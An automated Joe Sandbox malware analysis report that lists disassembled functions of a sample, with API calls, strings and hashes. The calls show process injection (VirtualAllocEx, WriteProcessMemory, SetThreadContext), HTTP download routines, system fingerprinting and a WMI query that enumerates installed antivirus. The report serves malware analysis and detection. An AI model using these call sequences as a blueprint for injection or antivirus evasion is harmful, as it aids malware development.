Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessA$GetThreadContext$HttpQueryInfoA$InternetSetOptionA$ReadProcessMemory$ResumeThread$SetThreadContext$SymMatchString$VirtualAllocEx$WriteProcessMemory$dbghelp.dll
API String ID: 2238633743-2740034357
Opcode ID: 5565bb8651eaf3213635e89cdebe0ffed362063621a4d57ac29a7185bd41f792
Instruction ID: 1bb1b3bb26aa555b8b296f9ef2268c9f418d0273583808313b6621400b3241e4
Opcode Fuzzy Hash: 5565bb8651eaf3213635e89cdebe0ffed362063621a4d57ac29a7185bd41f792
Instruction Fuzzy Hash: 166252B59012009FE725DF64ED989663BF9FFAA30130C8519E905C3364E774A84AFF11

Function 002F2000 Relevance: 70.1, APIs: 39, Strings: 1, Instructions: 124
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F2014
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F201B
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F2022
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F2029
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F2030
GetProcessHeap.KERNEL32(00000000,?), ref: 002F203B
RtlAllocateHeap.NTDLL(00000000), ref: 002F2042
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F2052
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F2059
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F2060
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F2067
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F206E
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F2079
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F2080
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F2087
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F208E
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F2095
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F20AB
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F20B2
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F20B9
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F20C0
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F20C7
lstrlen.KERNEL32(?), ref: 002F20CF
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F20F0
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F20F7
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F20FE
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F2105
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F210C
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F211C
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F2123
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F212A
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F2131
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F2138
VirtualProtect.KERNEL32(00000000,00000004,00000100,?), ref: 002F214D
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F2158
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F215F
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F2166
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F216D
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 002F2174

Strings

In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention , xrefs: 002F200F, 002F2016, 002F201D, 002F2024, 002F202B, 002F204A, 002F2054, 002F205B, 002F2062, 002F2069, 002F2070, 002F207B, 002F2082, 002F2089, 002F2090, 002F20A6, 002F20AD, 002F20B4, 002F20BB, 002F20C2, 002F20E0, 002F20F2, 002F20F9, 002F2100, 002F2107, 002F2117, 002F211E, 002F2125, 002F212C, 002F2133, 002F2153, 002F215A, 002F2161, 002F2168, 002F216F

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtual
String ID: In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention
API String ID: 2533436356-3600131318
Opcode ID: 7f2a42b5e8aa1455389344b04b50b2cf69102ef28f09cebb12c08146a31bf16c
Instruction ID: aace9e9488e672e10066e1e7ff2c193d8743fc39750bdc194dd6febb08a88961
Opcode Fuzzy Hash: 7f2a42b5e8aa1455389344b04b50b2cf69102ef28f09cebb12c08146a31bf16c
Instruction Fuzzy Hash: 1231A999F4032CF786DE6BB94C46DDE6E75FF8DB50B004656F52855180C9E056C0CEA3

Function 003076E0 Relevance: 48.2, APIs: 32, Instructions: 222
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76E00000,02F404B8), ref: 00307748
GetProcAddress.KERNEL32(76E00000,02F402C0), ref: 00307761
GetProcAddress.KERNEL32(76E00000,02F402D8), ref: 00307779
GetProcAddress.KERNEL32(76E00000,02F403E0), ref: 00307791
GetProcAddress.KERNEL32(76E00000,02F3B368), ref: 003077AA
GetProcAddress.KERNEL32(76E00000,02F39F50), ref: 003077C2
GetProcAddress.KERNEL32(76E00000,02F3A0B0), ref: 003077DA
GetProcAddress.KERNEL32(76E00000,02F404D0), ref: 003077F3
GetProcAddress.KERNEL32(76E00000,02F40500), ref: 0030780B
GetProcAddress.KERNEL32(76E00000,02F40578), ref: 00307823
GetProcAddress.KERNEL32(76E00000,02F40410), ref: 0030783C
GetProcAddress.KERNEL32(76E00000,02F3A110), ref: 00307854
GetProcAddress.KERNEL32(76E00000,02F40518), ref: 0030786C
GetProcAddress.KERNEL32(76E00000,02F40530), ref: 00307885
GetProcAddress.KERNEL32(76E00000,02F39EB0), ref: 0030789D
GetProcAddress.KERNEL32(76E00000,02F40590), ref: 003078B5
GetProcAddress.KERNEL32(76E00000,02F40308), ref: 003078CE
GetProcAddress.KERNEL32(76E00000,02F3A050), ref: 003078E6
GetProcAddress.KERNEL32(76E00000,02F40548), ref: 003078FE
GetProcAddress.KERNEL32(76E00000,02F39F70), ref: 00307917
LoadLibraryA.KERNEL32(02F40428), ref: 00307928
LoadLibraryA.KERNEL32(02F402A8), ref: 0030793A
LoadLibraryA.KERNEL32(02F402F0), ref: 0030794C
LoadLibraryA.KERNEL32(02F40620), ref: 0030795D
LoadLibraryA.KERNEL32(02F40668), ref: 0030796F
GetProcAddress.KERNEL32(76F40000,02F405F0), ref: 0030798B
GetProcAddress.KERNEL32(76560000,02F405A8), ref: 003079A7
GetProcAddress.KERNEL32(76560000,02F405C0), ref: 003079BF
GetProcAddress.KERNEL32(76A70000,02F40638), ref: 003079DB
GetProcAddress.KERNEL32(761C0000,02F39ED0), ref: 003079F7
GetProcAddress.KERNEL32(77320000,02F3B2E8), ref: 00307A13
GetProcAddress.KERNEL32(77320000,02F388C8), ref: 00307A2B

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 4e698fb258e79632b5a02c40b7c7fff47aa69bc259489189b6f9fc8292a11371
Instruction ID: a7f03e365414d975e8d594f190c4b0aa893b1dca17446210dde54bc697d92266
Opcode Fuzzy Hash: 4e698fb258e79632b5a02c40b7c7fff47aa69bc259489189b6f9fc8292a11371
Instruction Fuzzy Hash: B4A199B59012009FE725DF64ED989663BF9FFAA30070D8519E809C3364E774A90EFB11

Function 0030BD50 Relevance: 25.1, APIs: 12, Strings: 2, Instructions: 634
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/, xrefs: 0030BDEC
UT, xrefs: 0030C032

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: 780225dac62c92a4d1047f2c7775830bd3efa98cf24e26eedb492cc975f8eddb
Instruction ID: 3dfd76d34abb15f68d1284825d3101811ad4302a191fe5e3dec9499360a637d6
Opcode Fuzzy Hash: 780225dac62c92a4d1047f2c7775830bd3efa98cf24e26eedb492cc975f8eddb
Instruction Fuzzy Hash: AE421571A113598FCB26CF69DC903EEBBB5FF59300F1581AAE84897381D7749A84CB90

Function 002F5010 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 174
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 002F3D70: ??_U@YAPAXI@Z.MSVCRT(00000400,?,00000001), ref: 002F3DA2
Part of subcall function 002F3D70: ??_U@YAPAXI@Z.MSVCRT(00000400,00000400,?,00000001), ref: 002F3DAF
Part of subcall function 002F3D70: ??_U@YAPAXI@Z.MSVCRT(00000400,00000400,00000400,?,00000001), ref: 002F3DBC
Part of subcall function 002F3D70: lstrlen.KERNEL32(00000000,00000000,0000003C,?,00000001), ref: 002F3DD6
Part of subcall function 002F3D70: InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 002F3DE6

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 002F5062
StrCmpCA.SHLWAPI(?,02F43058), ref: 002F507A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 002F50A2
HttpOpenRequestA.WININET(00000000,GET,?,02F45FE0,00000000,00000000,-00400100,00000000), ref: 002F50DC
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 002F5100
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 002F510F
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 002F512E
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 002F5177
InternetReadFile.WININET(00000000,00000000,000007CF,?), ref: 002F51C5
InternetCloseHandle.WININET(00000000), ref: 002F51D0
InternetCloseHandle.WININET(?), ref: 002F51DA
InternetCloseHandle.WININET(00000000), ref: 002F51E4

Strings

ERROR, xrefs: 002F513B
GET, xrefs: 002F50D6

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$FileOpenReadRequestlstrcpy$ConnectCrackInfoOptionQuerySendlstrlen
String ID: ERROR$GET
API String ID: 1863336362-3591763792
Opcode ID: 747abad4cb3dc3d0ded44f63785aba51d6d8c1ee134d850492022992bdd55756
Instruction ID: cb05a0886ca97a0e7ab76c3f288fca1a059c7b3eed4cb93a728a76734757e090
Opcode Fuzzy Hash: 747abad4cb3dc3d0ded44f63785aba51d6d8c1ee134d850492022992bdd55756
Instruction Fuzzy Hash: F151C272A106196BEB20DB60CD46FFEB778EF54B40F144128FB05A72C1DB70AA05CBA5

Function 00300420 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 124memorystringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0030043C
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00300475
GetProcessHeap.KERNEL32(00000000,00000104), ref: 003004BF
RtlAllocateHeap.NTDLL(00000000), ref: 003004C6
wsprintfA.USER32 ref: 003004F9
lstrcat.KERNEL32(00000000,003138B4), ref: 00300508
GetCurrentHwProfileA.ADVAPI32(?), ref: 00300515
lstrlen.KERNEL32(00000000,Unknown), ref: 0030053E
lstrcat.KERNEL32(00000000,00000000), ref: 00300568

Strings

Unknown, xrefs: 00300528
:\, xrefs: 0030046B
C, xrefs: 00300446

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Heaplstrcat$AllocateCurrentDirectoryInformationProcessProfileVolumeWindowslstrlenwsprintf
String ID: :\$C$Unknown
API String ID: 2887641034-3557680648
Opcode ID: dd92e1c4f50a3c2e589cbb6b07227fd5f6e1480f8cc1159332f1e7011ee61b8e
Instruction ID: cdd63347a4131f9b937e4d75b1ca53bef2873dd16ffb63aaafcf3660ed0557f9
Opcode Fuzzy Hash: dd92e1c4f50a3c2e589cbb6b07227fd5f6e1480f8cc1159332f1e7011ee61b8e
Instruction Fuzzy Hash: 0141E171A1121CABEB15EBA4DD16FEEB77CAF15740F044164F609B7281EB705A04CBA2

Function 00300900 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 141comCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000000), ref: 00300928
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00300939
CoCreateInstance.COMBASE(003149C0,00000000,00000001,003148F0,?), ref: 00300953
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0030098C
VariantInit.OLEAUT32(?), ref: 003009E3

Part of subcall function 00300CF0: LocalAlloc.KERNEL32(00000040,00000005,00000000,?,00300A09,?), ref: 00300CF8
Part of subcall function 00300CF0: CharToOemW.USER32(?,00000000), ref: 00300D05

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

VariantClear.OLEAUT32(?), ref: 00300A1B

Strings

Unknown, xrefs: 00300A3E
Select * From AntiVirusProduct, xrefs: 003009A1
root\SecurityCenter2, xrefs: 0030096B
WQL, xrefs: 003009A6
displayName, xrefs: 003009F5

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
